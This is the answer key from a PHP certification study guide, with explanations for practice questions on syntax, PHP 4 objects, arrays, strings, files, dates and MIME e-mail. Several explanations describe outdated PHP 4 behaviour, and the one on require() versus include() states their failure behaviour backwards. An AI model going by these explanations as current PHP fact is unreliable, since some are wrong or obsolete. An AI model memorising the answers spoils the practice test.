PHP Programming Basics

Answers

1. Looking at the answers, the only one that makes sense for every blank is B. PHP is a scripting language based on the Zend Engine that is usually embedded in HTML code. As such, it is primarily used to develop HTML documents, although it can be used just as nicely to develop other types of documents, such as XML.
2. While tags such as <% %> and <?= ?> are often forgotten in PHP programming, they are valid ways to delimit a PHP code block. The <! and !> tags, however, are not valid and, therefore, the correct answer is D. Keep in mind, in any case, that some of these tags are not always available, depending on how the php.ini file on which the PHP interpreter runs is configured.
3. PHP variables always start with a dollar sign and are a sequence of characters and numbers within the Latin alphabet, plus the underscore character. ${"MyVar"} is a valid variable name that simply uses a slightly less common naming convention, while &$something is a reference to the $something variable. Variables, however cannot start with numbers, making $10_somethings invalid and Answer D correct.
4. The important thing to note here is that the $myarray array's key value is being referenced without quotes around it. Because of this, the key being accessed is not the myvalue string but the value represented by the myvalue constant. Hence, it is equivalent to accessing $myarray[10], which is Dog, and Answer A is correct.
5. Even though print() and echo() are essentially interchangeable most of the time, there is a substantial difference between them. While print() behaves like a function with its own return value (although it is a language construct), echo() is actually a language construct that has no return value and cannot, therefore, be used in an expression. Thus, Answer A is correct.
6. Other than the simple math, the % operator is a modulus, which returns whatever the remainder would be if its two operands were divided. The << operator is a left-shift operator, which effectively multiplies an integer number by powers of two. Finally, the ultimate answer is multiplied by a floating point and, therefore, its type changes accordingly. However, the result is still printed out without any fractional part, since the latter is nil. The final output is 256 (Answer D).
7. Following the logic of the conditions, the only way to get to the Hello, World! string is in the else condition of the first if statement. Thus, $a must be False. Likewise, $b must be False. The final conditional relies on both previous conditions ($a and $b) being False, but insists that $c be True (Answer D).
8. The correct answer is C. As of PHP 4.2.0, there is no need to initialize the random number generator using srand() unless a specific sequence of pseudorandom numbers is sought. Besides, even if the random number generator had not been seeded, the script would have still outputted 49 pseudo-random characters—the same ones every time. The $array variable, though a string, can be accessed as an array, in which case the individual characters corresponding to the numeric index used will be returned. Finally, the for loop starts from 1 and continues until $i is less than 50—for a total of 49 times.
9. A series of if...else if code blocks checking for a single condition as above is a perfect place to use a switch statement:

```
<?php
    switch($a) {
        case 'a':
            somefunction();
            break;
        case 'b':
            anotherfunction();
            break;
        case 'c':
```

```
                dosomething();
                break;
            default:
                donothing();
        }
    ?>
```

Because there is a catch-all else condition, a default case must also be provided for that situation. Answer E is correct.

10. Normally, the foreach statement is the most appropriate construct for iterating through an array. However, because we are being asked to modify each element in the array, this option is not available, since foreach works on a copy of the array and would therefore result in added overhead. Although a while loop or a do...while loop might work, because the array is sequentially indexed a for statement is best suited for the task, making Answer A correct:

```
<?php
  $myarray = array ("My String", "Another String", "Hi, Mom!");
  for($i = 0; $i < count($myarray); $i++)
  {
   $myarray[$i] .= " ($i)";
  }
?>
```

11. As it is only possible to add a single line of code to the segment provided, the only statement that makes sense is a for loop, making the choice either C or D. In order to select the for loop that actually produces the correct result, we must first of all revisit its structural elements. In PHP, for loops are declared as follows:

```
for (<init statement>; <continue until statement>;
    <iteration statement>)
```

where the <init statement> is executed prior to entering the loop. The for loop then begins executing the code within its code block until the <continue until> statement evaluates to False. Every time an iteration of the loop is completed, the <iteration statement> is executed. Applying this to our code segment, the correct for statement is:

```
for ($idx = 1; $idx < STOP_AT; $idx *= 2)
```

or answer C.

12. Of the five options, only two are valid PHP function declarations (A and D). Of these two declarations, only one will provide a default parameter if none is passed—Answer A.
13. This question is designed to test your knowledge of how PHP scopes variables when dealing with functions. Specifically, you must understand how the global statement works to bring global variables into the local scope, and the scope-less nature of superglobal arrays such as $_GET, $_POST, $_COOKIE, $_REQUEST and others. In this case, the math works out to 5 + 25 - 25 –
    10, which is -5, or answer B.
14. Functions can be called dynamically by appending parentheses (as well as any parameter needed) to a variable containing the name of the function to call. Thus, for Group A the appropriate index combination is 0, 4, 9, 9, 9, 9, which evaluates to the string myfunction. The parameters, on the other hand, are evaluated as variables dynamically using the ${} construct. This means the appropriate indexes for group B are 7 and 8, which evaluate to ${'a'} and ${'b'}—meaning the variables $a and $b respectively. Therefore, the correct answer is D.
15. In recent versions of PHP, the only difference between require() (or require_once()) and include() (or include_once()) is in the fact that, while the former will only throw a warning and allow the script to continue its execution if the include file is not found, the latter will throw an error and halt the script. Therefore, Answer E is correct.
16. When a parameter is declared as being passed by reference you cannot specify a default value for it, since the interpreter will expect a variable that can be modified from within the

function itself. Therefore, Answer C is correct.
17. The right answer here is the exclusive-or (xor) operator.
18. The identity operator works by first comparing the type of both its operands, and then their values. If either differ, it returns False—therefore, Answer B is correct.
19. The correct answers are A and C. In Answer A, the pow function is used to calculate 22, which corresponds to 4. In Answer C, the left bitwise shift operator is used to shift the value of $a by two bits to the left, which corresponds to a multiplication by 4.
20. The only answer that really fits the bill is A. A script doesn't necessarily terminate when it reaches the end of any file other than the main one—so the "current" file could be externally included and not cause the script to terminate at its end. As far as PHP and Apache crashes, they can hardly be considered "clean" ways to terminate a script.

Object-oriented Programming with PHP 4

Answers

1. A class is a blueprint of an object, which is an instance of a class.
2. The three correct answers are B, C and D. The set_value method of my_class will not work correctly because it uses the expression $this->$my_value, which is a "variable variable" that, under the circumstances will never correspond to any real property of the class.
3. Answer C is correct. In PHP 4, it is not possible to limit access to class members or properties. This can, however, be done in PHP 5, for example by declaring a property as private.
4. The Singleton Pattern is handy whenever only one instance of a particular class can exist at any given time (and, yes, in case you're wondering, you should expect the exam to test you on the basics of patterns, too).
5. Although other languages allow for multiple-inheritance, PHP's object model is one of single-inheritance. Therefore, the correct answer is A.
6. This tidbit of code approximates the behaviour usually provided by an abstract method. If this class is inherited by another class and the my_funct method is called without being overridden in the child class, the code will throw an error. Naturally, this is only an approximation of the way abstract methods work, but it's the best that can be done using PHP 4's limited object model.
7. Although PHP 5 has "unified" constructors (__construct()), in PHP 4 constructors are always methods whose name matches the class name. This means that, for a class called testclass, the constructor is Answer C, testclass().
8. __sleep() and __wakeup() can be used to customize the serialization process of an object. The correct answer, therefore, is C.
9. In PHP 4, there is no concept of any of the classic object-oriented constructs listed in the question (although many were introduced in PHP 5), so Answer D is correct.
10. In PHP, methods and properties of a class' current instance are accessed from within its methods using the $this special variable. Answer B, therefore, is correct.
11. The right answer here is D—the script won't output anything because my_class::_my_class() is not a valid constructor (did you notice the underscore at the beginning of the method name?). You might think that this is nothing but a trick question designed to see how much attention you're paying during the exam... and you're right. If you think about it, though, you'll probably agree with us that many bugs occur because of misplaced characters. Therefore, this question is really designed to gauge your ability to catch mistakes in OOP code, rather than just to trick you.
12. Since in PHP 4 objects are treated the same way as scalar values, when $a is assigned to $b, the interpreter will create a copy of the object and, therefore, any value subsequently assigned to it will not affect the original object. Therefore, the correct answer is B. Note, however, that in PHP 5 the behaviour of this script would have been different (outputting 10)—but remember that the exam is about PHP 4, not PHP 5.

13. This is a really tricky one. Upon first examination, it would seem that the constructor of my_class stores a reference to itself inside the $global_obj variable. Therefore, one would expect that, when we later change the value of $global_obj->my_value to 10, the corresponding value in $a would change as well. Unfortunately, the new operator does not return a reference, but a copy of the newly created object. Therefore, the script will output 5 and the correct answer is A.
14. In PHP, objects that are passed to a function or method are, by default, passed by value, meaning the object used within the function is actually a copy of the object that was passed as a parameter. This unfortunate side effect means that any modifications to the object performed within the context of the function or method call will not apply to the original object outside of the function's scope.
    In the case of Question 14, this means that the $eight_tenths object was never altered by the reduce_fraction function, while the $fraction object (the parameter) was. An object that may be modified inside a function should be always passed to it by reference:
    function reduce_fraction(&$fraction)
    Thus, the correct answer is D.
15. The syntax shown in the question is used to call methods within a class from a static context. When methods are called from a static context, they behave like functions, and have no association with any existing instance of the class. The correct answer is A.
16. No. Static class variables do not exist in PHP 4—the language only allows for the declaration of static function variables.
17. Answer A is correct. The $myvar class attribute will be defined in class b by the time the constructor of its parent class a is called and, besides, class variables need not be defined for a value to be assigned to them—just like any other variable in PHP 4. Because class b assigns a variable to its $myvar property before calling its parent's constructor, which, in turn, assigns it a different value, the final output will be 1.
18. In PHP 4, it's not possible to load classes on demand—they have to be declared explicitly before they can be used or referenced. In PHP 5, you can use the __autoload magic function to be notified when the interpreter needs a class that it cannot find in the current script's context, but this feature does not apply to PHP 4. Therefore, Answer D is correct.
19. This clearly identifies design patterns, which offer well-defined, elegant solutions to common problems that arise in application design and programming.
20. The script will output nothing (Answer D). This is because parent constructors are not automatically called from a child class' constructor—they have to be executed explicitly. The same, of course, is true of any other class member as well.

PHP as a Web Development Language

Answers

1. Although session data can be accessed using the global variables if the register_globals INI setting is turned on, the exam uses a version of PHP configured using the default php.ini file found in the official PHP distribution. In recent versions of PHP, the register_globals setting is turned off by default because of its serious security implications. As a result, Answer E is correct.
2. Clearly, this question refers to the setcookie or setrawcookie functions, although the header function could be used as well.
3. Answer B is correct. Browsers simply do not allow an HTTP transaction that takes place on one domain to set cookies for another domain. Doing otherwise would present clear security implications: for example, a malicious page on one domain could overwrite your session ID for another domain and force you to use another session to which a third party has access without your knowledge.
4. Since the form's method is post, the script will only be able to read the value through the

$_POST and $_REQUEST superglobal arrays. The element's name (email) is used as the key for the value in the array and, therefore, Answers B and D are correct. Note that, although perfectly valid from a logical perspective, the use of $_REQUEST should be discouraged because of potential security implications.

5. This question tests nothing about your knowledge of HTML encoding—and everything about your ability to properly interpret code. The $s function is left unaltered by the call to htmlentities(), which returns the modified string so that it can be assigned to $ss. Therefore, Answers B and D are correct. If you're wondering whether this is an unfair "trick" question, do keep in mind that, often, the ability to find and resolve bugs revolves around discovering little mistakes like this one.
6. Cookies automatically expire at the end of the user's browser session if no explicit expiration time is set. Cookies are not necessary to maintain a server-side session, so answer D is correct.
7. Since the form is submitted using a POST HTML transaction, whatever values are typed in the text boxes are only going to be available in the $_POST superglobal array. Therefore, Answer C is correct, since the $_GET array won't contain any values and PHP will issue a notice to this effect.
8. When an HTTPS transaction takes place, the browser and the server immediately negotiate an encryption mechanism so that any subsequent data is not passed in clear text—including the URL and query string, which are otherwise passed the same way as with a traditional HTTP transaction. Answer B is, therefore, correct.
9. PHP simply adds elements to the appropriate superglobal array as they are retrieved from the query string or POST information. As a result, if two elements have the same name, the first one will just be overwritten by the second. Therefore, Answer C is correct.
10. Only Answer B is always correct. While the implode function can be used to convert an array into a string—a prerequisite of being able to store it in a cookie—it cannot guarantee that you'll be able to reconstruct the array at a later date the way serialize() can. Storing an array in a cookie may not be a good idea because browsers only allow a limited amount of storage space for each cookie, but that's not always the case—you should be able to store relatively small arrays without much in the way of problems.
11. Yet another question designed to see how well you recognize bugs in a script. Did you notice that, at the end of the script, the $output variable's name is misspelled in the echo statement? The script will output a notice and, therefore, Answer E is correct.
12. The filesystem (Answer A). By default, PHP stores all session information in the /tmp folder; users of operating systems where this folder doesn't exist (such as Windows) must change the default value of the session.save_path php.ini setting to a directory appropriate for their setup (e.g.: C:\Temp).
13. Answers A and D both describe likely causes of this type of problem and warrant further investigation on your part. Since the browser seems to work fine, it's unlikely that its binaries have suffered corruption such that only your site has stopped working, and virus-scanning programs do not normally stop secure cookies selectively (although some block all cookies). On the other hand, the browser might have been explicitly set to refuse all cookies, which is probably the first source of trouble you should check for. By the same token, the computer's time zone might have been set incorrectly and, since cookie expiration dates are coordinated through GMT, cause the cookie to expire as soon as it was set and never be returned to your scripts.
14. The session.gc_maxlifetime INI setting regulates the amount of time since the last access after which the session handler considers a session data file "garbage" and marks it for deletion by the garbage handler. Once this has happened, any subsequent access to the session will be considered invalid, even if the data file still exists. Coincidentally, the session.gc_maxlifetime is set to 1,440 seconds, but you can't rely on that number as it might have been changed

without your knowledge by the system administrator. Answer B is, therefore, correct.
15. This identifies the nl2br function, which can be used precisely for this purpose.

Working with Arrays

Answers

1. Arrays that are keyed by integer values are called indexed arrays, while those keyed by strings are called associative arrays. The correct answer is, therefore, E.
2. The value cat is in an array buried within two other arrays. Following the path to the string, we see that, first, the yellow key must be referenced, followed by orange. Since the final array is an indexed array, the string cat is the second value and, therefore, has an index key of 1. Therefore, the correct answer is E.
3. Answer B is correct. The foreach construct operates on a copy of $array and, therefore, no changes are made to its original values.
4. Only the asort function sorts an array by value without destroying index associations. Therefore, Answer B is correct.
5. The serialize function takes a complex data structure and returns a string that can later be used by the unserialize function to reconstruct the original data structure. A valid answer to this question could also be the implode function, which concatenates each element of an array with a “glue” string.
6. The natsort() function uses a “natural ordering” algorithm to sort the contents of an array, rather than a simple binary comparison between the contents of each element. In fact, in this example the array is not even touched, since its elements are already in what could be considered a “natural” order. Therefore, Answer A is correct.
7. Despite its name, array_flip() only swaps each element of an array with its key. Both rsort() and array_reverse() would have the effect of reordering the array so that it contents would read ('d', 'c', 'b', 'a'). Therefore, the correct answers are B and D.
8. PHP starts assigning numeric keys to elements without a hard-coded key from the lowest numeric key available (even if that key is a numeric string). If you never specify a numeric key to start with, it starts from zero. In our script, however, we assigned the key '3' to the very first element, thus causing the interpreter to assign the key 4 to the third element and 5 to the last element. Note that the key '1b' is not considered numeric, because it doesn’t evaluate to an integer number. Therefore, element 1 doesn’t exist, and Answer D is correct.
9. The array_sum function calculates the sum of all the elements of an array. Therefore, Answer D is correct.
10. The script will output 1 (Answer A). This is because only integer numbers and strings can be used as keys of an array—floating-point numbers are converted to integers. In this case, both 0.1 and 0.2 are converted to the integer number 0, and $array will only contain the element 0 => 'b'.
11. This question tries to attract your attention to a problem that doesn’t bear on its answer. The $array array will contain only one element, since true evaluates to the integer 1. However, there is a typo in the var_dump() statement—$array is misspelled as $aray, using only one ‘r’. Therefore, the var_dump() statement will output NULL (and, possibly, a notice, depending on your error settings). Answer E is correct.
12. This question is a bit convoluted, so it’s easy to get lost in it. For starters, notice that it specifies two important assumptions: first, that you do not have any compelling reason for passing the array either way. If you needed a function to modify the array’s contents, you’d have no choice but to pass it by reference—but that’s not the case here. Second, the question specifies that we’re passing the array to a read-only function; if this were not the case, Answer B would be true, since a change of the array would cause an actual copy of the array to be created. As a general rule, however, passing an array by reference to a function that does not modify its contents is actually slower than passing it by value, since PHP must create a set of structures that it uses to maintain the reference. Because PHP uses a lazy-copy

mechanism (also called copy-on-write) that does not actually create a copy of a variable until it is modified, passing an array by value is a very fast and safe method of sharing an array with a function and, therefore answer E is correct.

13. The correct answer is E. The sort function works directly on the array passed (by reference) to it, without creating a copy and returning it. Instead, it returns the Boolean value True to indicate a successful sorting operation (or False to indicate an error). Note that this example passes the $a1 array to sort_my_array() by reference; this technique is deprecated and the function should be re-declared as accepting values by reference instead.
14. The array_walk function executes a given callback function for every element of an array. Therefore, this script will cause the glue function to concatenate all the elements of the array and output abcd.
15. This question is designed to test your ability to analyze a complex script more than your understanding of arrays. You may think it too convoluted—but we've all been faced with the not-so-pleasant task of debugging someone else's code, and compared to some of the scripts we've seen, this is actually quite simple. The script simply cycles through the for loop five times, each time adding to $sum the value of the element of $array whose key is equal to the value of the element of $array whose key is equal to $i. It might sound a bit like a high-tech variation of "how much wood would a wood chuck chuck," but if you step through the code manually, you'll find that, when $i is zero, then $array[$array[$i]] becomes $array[$array[0]], or $array[1], that is, 2. Applied to all the iterations of the for loop, the resulting total is 78.

Strings and Regular Expressions

Answers

1. The substr function could work for this task, but, because the only available answer that makes use of this function extracts two characters at a time, it must be ruled out. This leaves either $alpha{$val} or $alpha{$val+1} as the only two options that can actually print the desired string. Since strings can be accessed as zero-indexed arrays (meaning that the first character in the string has an index of zero), the correct answer is D.
2. Each of the answers will produce the desired result of concatenating the string $s1 with the string $s2, with the exception of Answer A. In PHP, the plus operator (+) does not combine two strings together as it does in other languages, such as Java or Javascript.
3. The substr function is used to return a portion of a string, while the strpos function is good for finding a particular substring within a string. Used together, they can extract the required information. It is important to realize that former is zero-indexed while the latter is not, requiring a +1 offset to be added. That's why Answer D is correct.
4. The correct answer is D. The explode function creates an array from a string breaking it up based on a specific character such as a comma. The strtok function could also be used to tokenize the string but it would require multiple calls.
5. Answer E is correct—strcmp() offers the safest comparison mechanism between two strings. Note that Answer C is incorrect because strcasecmp() is not an "all-purpose" function, since it performs a case-insensitive comparison.
6. None of these regexes really represents the simplest way to match the requested string, but Answers A and E are the only ones capable of doing so. However, Answer A is too generic, since it will really match any string; therefore, Answer E is correct.
7. The correct choices are A, B and E. Using crypt() and str_rot13() would be an inefficient way of determining whether the contents of a string have changed since the moment in which the original digest was calculated. While crc32() is weaker than the other two choices, it's a very viable alternative in situations where a small chance of error is acceptable.
8. The file function reads the contents of a text file inside an array, one element per line. Therefore, Answer E is correct. If you're wondering what this question is doing in the chapter dedicated to strings—it's here to remind that you that the questions in the exam are

not strictly compartmentalized, just like a PHP script cannot normally be written so that the file functions are all kept separate from the string functions.

9. Both the preg_split and explode functions can be used for this purpose, although under different circumstances. ereg() is used to match strings against a regular expression pattern, while str_split() only breaks down a string based on a fixed length and chop() is simply an alias for rtrim(), which removes whitespace from the end of a string.
10. This question tests your knowledge of string manipulation and operator precedence. The concatenation operator has a higher precedence than the addition operator. Therefore, PHP will interpret this expression as if it were written as ('Testing ' . 1) + (2 . '45'). When the addition takes place, the first concatenation is evaluated as the integer zero, since the string Testing 1 is not a valid number. The second concatenation is evaluated as the number 245 and, therefore, PHP outputs the result of 0 + 245, that is, 245. Therefore, Answer D is correct.
11. Since strings can be addressed as arrays, this script simply replaces the value of the second characters (identified by $s[1]) with the character 2, resulting in the string 12245 being printed out. Answer B is correct.
12. The trick here is in understanding what the regular expression means. Reading from left to right, it indicates a string composed of zero or more arbitrary characters (.*), followed by an asterisk (*), then by the literal 123 and, finally, by a digit. Therefore, the right answers are C and D.
13. Answers B and E are correct. In Answer B, the string top is evaluated to integer zero when the comparison takes place and, since the == operator does not perform strict type checking, it returns True. In answer E, the same thing happens to the string 123, which is evaluated to the integer number 123, thus resulting in a successful comparison.
14. Naturally, the string is converted to a number (or zero if such conversion cannot take place) and added to the integer using arithmetic addition. Answer B is correct.
15. As it is often the case when looking for a bug, the intent of the script is quite irrelevant in this question. Up until the very last line of code, in fact, its goal is to strip the www.php.net homepage of all of its HTML tags, with the exception of instances of <p>. However, on the last line the script uses the count function, which does not count the number of characters in a string, but the number of elements in a variable. Since strings are scalar values, count() always returns one—and Answer C is correct.
16. The definition describes the strcasecmp function—therefore, Answer C is correct.
17. The correct answers are B and D. The pack function is capable of performing very complex formatting on binary data, including the transformation of a string into the hexadecimal representation of its characters. The bin2hex function is conceived specifically for this purpose. Note that printf() can convert an integer into its hex representation, but not a whole string's binary contents.
18. This describes the str_pad function, which can be used to pad a string to a minimum specific length.
19. The script will output the string ablecostscindy. The wordwrap function is normally used to break a string so that no line exceeds a given length. In this case, however, the length has been set to one, which will really cause the function to break every word (because the fourth parameter is set to False, wordwrap() will not break the string in the middle of a word). The break string is set to c, which will effectively cause the function to replace every space with a letter "c".
20. The script will output axle, since the substr_replace string is used to replace an arbitrary portion of a string with another string. The correct answer, therefore, is B.

Manipulating Files and the Filesystem

Answers

1. Although it is possible to specify a maximum length when calling it, the fgets function defaults to reading a single line from the given file resource and is primarily used for text

files. The fread function, on the other hand, is used primarily to read binary data. That makes answer D correct.

2. The correct answer is the fclose function, which closes an open file resource.
3. The fgets function is used to read a single newline-terminated string from a file. Therefore, Answer D is correct, as none of the remaining options provide any valid alternative.
4. The correct answer is D. This is a very tough question, and one you're not likely to find in the real exam—but that's why you're reading this book! You must remember that flock() uses a "cooperative" locking mechanism with one big assumption: that all other processes that want to access your file will also use flock(). If they don't, race conditions can arise and the lock is not guaranteed. Curiously, creating a directory with the mkdir function is guaranteed to be an atomic operation, meaning that only one process at any given time can perform it. Therefore, you can create a temporary directory and "hold it" until you have finished your I/O operations.
5. Only the file_get_contents and file functions retrieve the entire contents of a file and, therefore, the correct answers are A and D. The readfile function does read the entire contents of a file, but sends them directly to the output buffer, thus making it impossible to use them in an expression (short of using output buffering to capture the file's contents).
6. The fscanf function can be used to parse the contents of a file according to a fixed predefined pattern; therefore, the correct answer is C. The sscanf function only operates on strings.
7. The correct answer is E. Note how the file is being opened with the r parameter, which indicates that we want to use the file for reading. Therefore, if the file does not exist, PHP will output an error complaining that it cannot be found. If it does exist, the call to fopen() will be successful, but the subsequent fwrite() operations will fail due to the file having been opened in the wrong way. If we were to specify w instead of r, the script would run successfully and myfile.txt would contain a sequence of fifty random characters (remember that the characters of a string can be accessed as if they were elements of an array, just like in C).
8. Answer E is correct. There is no function called delete() in PHP. Files are deleted with unlink(), while directories are deleted with rmdir(). Database rows are deleted using the DELETE SQL statement (not a PHP function) and, finally, variables are unset using unset().
9. The script in this question best approximates the way file_put_contents() works; however, this function does not exist in PHP 4, having been introduced with PHP 5. Therefore, Answer C is correct.
10. The auto_detect_line_endings php.ini setting was introduced in PHP 4.3.0 to make the system attempt to automatically detect the type of line endings used when saving a text file. Therefore, Answer A is correct.
11. In order to open a file for reading and writing, you should use the r+ mode parameter combination. Therefore, Answers B and D are correct.
12. The described function is fopen().
13. The correct answers are B, D and E. The file, readfile and file_get_contents functions all read the entire contents of a file.
14. Either fwrite() or fputs() would work equally well here, since the latter is nothing more than a stub for the former. In PHP, there is no difference between writing binary data and a string.
15. PHP caches information retrieved by certain filesystem functions—including file_exists()—so that it can improve the script's performance if the same operation is repeated more than once. When a file deletion takes place throughout the script, however, this can cause the cache to become obsolete and, therefore, it is necessary to clear it as described in Answer A, which is correct.
16. The description corresponds to the is_writeable function, which returns a Boolean value indicating whether a given file is writeable.
17. The correct answer is D. fseek() is used to move the pointer on an open file. The SEEK_SET constant is used to indicate that the offset provided with the function call should be taken to

mean the number of bytes from the beginning of the file. SEEK_SET is also the default value used by fseek() if no starting offset is specified. Note that the rewind function is equivalent to fseek (0, SEEK_SET).

18. Answer B is correct. The fstat function works by retrieving statistical information on a file based on an open file pointer, while stat() retrieves the same information based on a pathname.
19. The correct answer is B. The disk_free_space function determines the number of free bytes available on any given device (in this case, C: on a Windows machine), while disk_total_space() determines the total size of the device. By dividing the two values, multiplying the result by one hundred and formatting it using number_format() so that no more than two decimals are displayed, the script effectively prints out the percentage of space of the disk that is not being used. It even adds a percent sign at the end to avoid any possibility of confusion!
20. The correct answer is E. Did you see that blank line between the first code block and the second? That's going to be sent to the browser as content, thus making the overall binary data of the image corrupt! Therefore, the browser will display a broken image (or a message stating that the image is corrupted).

Date and Time Management

Answers

1. This question is actually very easy to answer, despite the fact that it tries to confuse you by throwing a reference to a particular platform in the mix. On Windows and Linux or other UNIX-like operating systems where older versions of glibc are present, the strtotime function is unable to identify dates prior to the UNIX epoch (midnight UTC on January 1, 1970) and, therefore, the script will output -1 (Answer C).
2. The correct answer here is strftime(). The date function is, in fact, only capable of formatting dates in English, while strftime() uses the locale settings of the script (which can be changed using setlocale()) to determine the correct language in which the date should be formatted.
3. The answer that comes closest to what really goes on in this script is D. In fact, what happens is that the current time is first determined by the microtime() call and then again by the next call to the same function at the end of the script. However, only the time needed to execute the second function is included in the elapsed time span. By the same token, the first array_sum() call is included in the time span, while the second is not, because it is executed after the second call to microtime().
4. The checkdate function can be used to verify if a Gregorian date is valid (although with some limitations—October 5-14, 1582, for example, are accepted as valid dates even though they do not exist in the calendar). Therefore, since this script essentially tries to create random dates and then determine if they are right, Answer D is correct.
5. Unlike Question 1 above, in this case the fact that the script is being run on Windows does matter. On a Windows machine, the mktime function does not support negative values (that is, dates prior to the UNIX epoch) and returns -1 (plus a warning). The correct answer is, therefore, C.
6. Since there is a one hour difference between the two time zones and strtotime() converts a textual date representation into a UNIX timestamps, the result will either be 3,600 or -3,600 (Answers A or B, corresponding to one hour expressed in seconds). Now, it's important to keep in mind that midnight CST is actually an hour later in EST—that is, one in the morning. Therefore, the value of $b will actually be higher than the value of $a, and the result will be negative, thus making Answer A correct.
7. The fundamental problem when dealing with databases is that their ability to store date/time values is much greater than PHP's. Most DBMSs are capable of storing dates that span the entire range of the Gregorian calendar, while PHP's UNIX timestamp-based system can only

describe and manipulate a very short time span. Therefore, it is always good to ensure that, if you need to manipulate date values within your scripts, they do not overflow the timestamp format (Answer B). Additionally, whenever possible you should try to let the database itself perform date manipulations, whether for testing if a date is valid (Answer C) or to perform calculations (Answer D).

8. This is a very tricky question, but easily explained. The values passed to gmmktime() correspond to the UNIX epoch, which is really the timestamp "0". Internally, however, gmmktime() makes use of mktime(), which works with local time. The problem here is that the UNIX epoch cannot be represented in a time zone that is east of the Greenwich Mean Time line—as is the case for Moscow—because, on a Windows machine, this would result in a negative value, which is not supported by that operating system's implementation of mktime(). Therefore, the script will output the number -1, making Answer B correct. Depending on your error-reporting settings, it might also print out a warning (but not an error as indicated in Answer D).
9. Answer E is correct. Clearly, time() calculates the number of seconds since the epoch and, since both Answer A and Answer D express that very same concept, they are obviously correct. Answers B and C are a bit less immediate, but they really mean the same thing. The number of seconds since the epoch is the same, regardless of whether you express it in the local time zone or in GMT, since the epoch itself is a fixed point in time. It is only when you need to convert the integer into human-readable format that you must consider the representation most appropriate for any given time zone. Therefore, Answers B and C are also correct. This may sound like a bit of a trick question, but it's really testing whether you understand the difference between absolute and relative time—a very important concept when dealing with dates.
10. The H and s parameters in the string specification passed to date() indicate the hour in 24-hour format and the seconds. Since the i is actually escaped with a backslash, it will be considered a literal and printed as such. Also, the fact that no particular time was specified in the call to strtotime() will cause the function to default to midnight. Therefore, the final output of the script will be 00:i:00, which corresponds to Answer C.
11. The correct answer is A, which adds 3,600 seconds (1 hour * 60 minutes * 60 seconds) to the current time. Using any of the other combinations would result in an incorrect timestamp.
12. The getdate function returns an array that contains information about a specific timestamp (or the current date and time if no timestamp is passed to it). Therefore, Answer C is correct.
13. Answer D is correct. The microtime function returns a string that contains the integer part of the timestamp and the fractional part separated by a space. Therefore, explode()'ing the string into an array and then calling array_sum() will transform it into a numeric value in one clean sweep.
14. Answers B and D are correct. The date function returns a string, while localtime() returns an array.
15. There is no difference between the current time in any time zone—the current time is an absolute point in time! Therefore, the difference is zero and the correct answer is B.

E-mail Handling and Manipulation

Answers

1. Of all of the e-mail addresses listed above, only Answer D is invalid. Both A and B are classic e-mail addresses that are in use frequently today. Although C looks invalid, mail transport agents (MTAs) automatically remove extra whitespace, making it just as good, while E is valid for a local delivery. This leaves D, which contains an invalid character for an e-mail address (an accented letter).
2. The correct answers are A and D. While the UNIX version of PHP requires the sendmail application (or an equivalent emulation thereof) to send mail through an MTA, the

Windows/Novell versions communicate directly with the MTA using SMTP. However, if available, PHP can also be configured to use a "sendmail wrapper" to simulate the sendmail application on Windows/Novell, in which case all three versions of PHP would function in the same way. Also note that, when using the internal implementation of mail() on Windows/Novell environments, it is necessary to set the sendmail_from configuration directive, while UNIX flavours leave that task to the sendmail application itself.

3. PHP can indeed send e-mails of any valid format using the mail function, making communication with the MTA directly from PHP code using SMTP a poor choice. Additional headers at the top of the e-mail must be added as a string using the $additional_headers parameter, with each header ending with both a newline and linefeed character (\r\n). When sending complex e-mails, such as ones with file attachments and/or HTML-formatted text, not only must additional headers be added, but MIME-specific headers must also be included in the $message portion of the e-mail itself, so answer E is correct.
4. When sending MIME e-mails that are considered multi-part, you must specify a boundary (any US-ASCII string) that is unique enough not to appear at any point in the actual body of the e-mail. This boundary must be unique for each embedded multi-part block in a MIME message; it is specified in the Content-Type: MIME header.
5. There are indeed two answers above that are valid for including elements, such as images, within your HTML document. The fastest method is to simply reference a remote image by specifying any valid URL for the SRC attribute of the tag. However, images and other component content can also be embedded within the MIME e-mail itself as a MIME content block. These content blocks are then assigned a content ID, which can be referenced from the SRC attribute using the cid: resource identifier followed by the assigned content ID. This means that Answers B and C are correct.
6. The final parameter of the mail function is used to provide additional parameters to the sendmail application and is typically only used in UNIX environments where sendmail is available. However, this parameter could also be used in Windows/Novell environments if the sendmail_path configuration directive is used.
7. The correct answer is C. The Content-Transfer-Encoding MIME header is used to specify the encoding of any segment of a MIME email. This header is most commonly associated with binary data to specify the algorithm used to encode it. By default, 7bit, quoted-printable, base64, 8bit and binary are available—however, anyone may specify their own encoding format using a name similar to x-<unique name for encoding>.
8. The correct answers are B, C and E. Boundaries are a critical part of sending MIME e-mails. Although there is no official restriction on the length of a boundary, there are significant consequences to a poor boundary choice. Because boundaries are simply plain text strings within the e-mail, it is very important that their value never appear within the actual body of one of the MIME segments. For instance, consider the potential disaster that a boundary of John, although technically valid, would cause if someone named John signed his e-mail -- John: the receiving e-mail client would parse that signature as the start of a new MIME segment and, most likely, completely misinterpret the contents of the e-mail.
9. To create a valid MIME e-mail from the given plain-text message, the correct answers are A, C and D. A MIME e-mail must have the MIME-Version header at the start of the e-mail, while each segment (including the "root" segment) must sport both a Content-Type and Content-Transfer-Encoding header associated with it. The two other headers mentioned in the answers above are optional: Content-Disposition is used to indicate how the segment should be displayed (for instance, if it should be represented as an attachment) and Content-ID is a unique identifier optionally assigned to the content in the segment.
10. The correct answer is B. This special MIME content type is used to define a segment which contains sub-segments representing multiple versions of the same content. For instance, a multipart/alternative segment may have two segments within it of types text/plain and

text/html. It is then left to the e-mail client to choose the most appropriate format and display that to the user. As a general rule of thumb, it is always a good idea to put the easiest to read (i.e. plain text) versions first in the event that the mail is read from a non MIME-compatible e-mail client.

11. On a UNIX-like system, PHP relies on the sendmail application to handle its e-mailing (even if sendmail itself is not installed on the server and it's emulated by a different Mail Transport Agent). On Windows machines, however, the mail function actually performs an SMTP transaction against the server specified in the SMTP INI setting, unless a sendmail wrapper is used. Therefore, Answer D is correct.
12. The use of htmlentities() on a plain-text e-mail does nothing to help prevent cross-site attacks—in fact, it may cause it to become unreadable for the recipient. Enforcing the use of POST variables only makes it harder for a would-be hacker to spoof your form (although not impossible), while ensuring that the e-mail field (which will become the To: header in the e-mail) does not contain newline characters helps prevent a malicious user from adding his own e-mail address to that of the user and receiving a copy of the e-mail. Therefore, Answers C and E are correct.
